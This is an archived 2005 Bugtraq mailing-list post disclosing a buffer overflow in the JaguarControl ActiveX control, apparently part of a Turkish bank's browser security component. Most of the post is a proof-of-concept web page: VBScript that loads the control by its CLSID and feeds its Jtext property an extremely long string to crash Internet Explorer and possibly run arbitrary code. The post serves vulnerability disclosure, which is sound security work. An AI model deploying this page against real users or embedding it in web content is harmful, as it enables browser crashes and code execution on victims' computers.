JaguarControl Activex Buffer Overflow

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: JaguarControl Activex Buffer Overflow
From: Tacettin Karadeniz <tacettinkaradeniz@xxxxxxxxx>
Date: Sat, 13 Aug 2005 02:47:25 -0700 (PDT)
Domainkey-signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=1tgRySEblyuhoJUxYoHlm0NDPmzOW0tc+vSaAoNrNXexm8mljAg8Ish3KCy8FPsk5a9vnKCEO8YJS1Ahh+PZqok7/dcHsVFO6Tn8tYX7fgYzWq5UMmlyzwDu57NzRIh28x5/9iHdklurKAvt/qFm0Ph48knooBaG6yUFwXK81cQ= ;
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Vendor: http://www.isemarket.com
Bug: JaguarControl can crash Internet Explorer
Found: Tacettin Karadeniz
E-Mail: tacettinkaradeniz _at_ yahoo.com
Vendor Status: Reported

The exploit can cause Internet Explorer to crash
and(or) the execution of arbitrary code on the user's
computer.

<object
classid="CLSID:0FC8B38E-9293-424C-9D0E-CE60775679CF"
id="JagEditParola"></object> 
<script language="vbscript">
<!-- 
msgbox("XXXXXXX BANKASI GUVENLIK KALKANI
v1.1.0.18"+Chr(10)+"(JaguarControl
NT/2K/XP)"+Chr(10)+"Buffer CRACKED {Tested XP SP1}" +
Chr(10) + "Bug Found: Tacettin Karadeniz [
tacettinkaradeniz[@]yahoo.com ]") 
a="1234567890qwertyuopasdfghjklzxcvbnm"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparapara0000paraparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
JagEditParola.Jtext=a
--></script>


                
____________________________________________________
Start your day with Yahoo! - make it your home page 
http://www.yahoo.com/r/hs

Prev by Date: Low security hole affecting Mentor's ADSLFR4II router
Next by Date: SQL in PHPTB Topic Boards 2.0
Previous by thread: Low security hole affecting Mentor's ADSLFR4II router
Next by thread: SQL in PHPTB Topic Boards 2.0
Index(es):
- Date
- Thread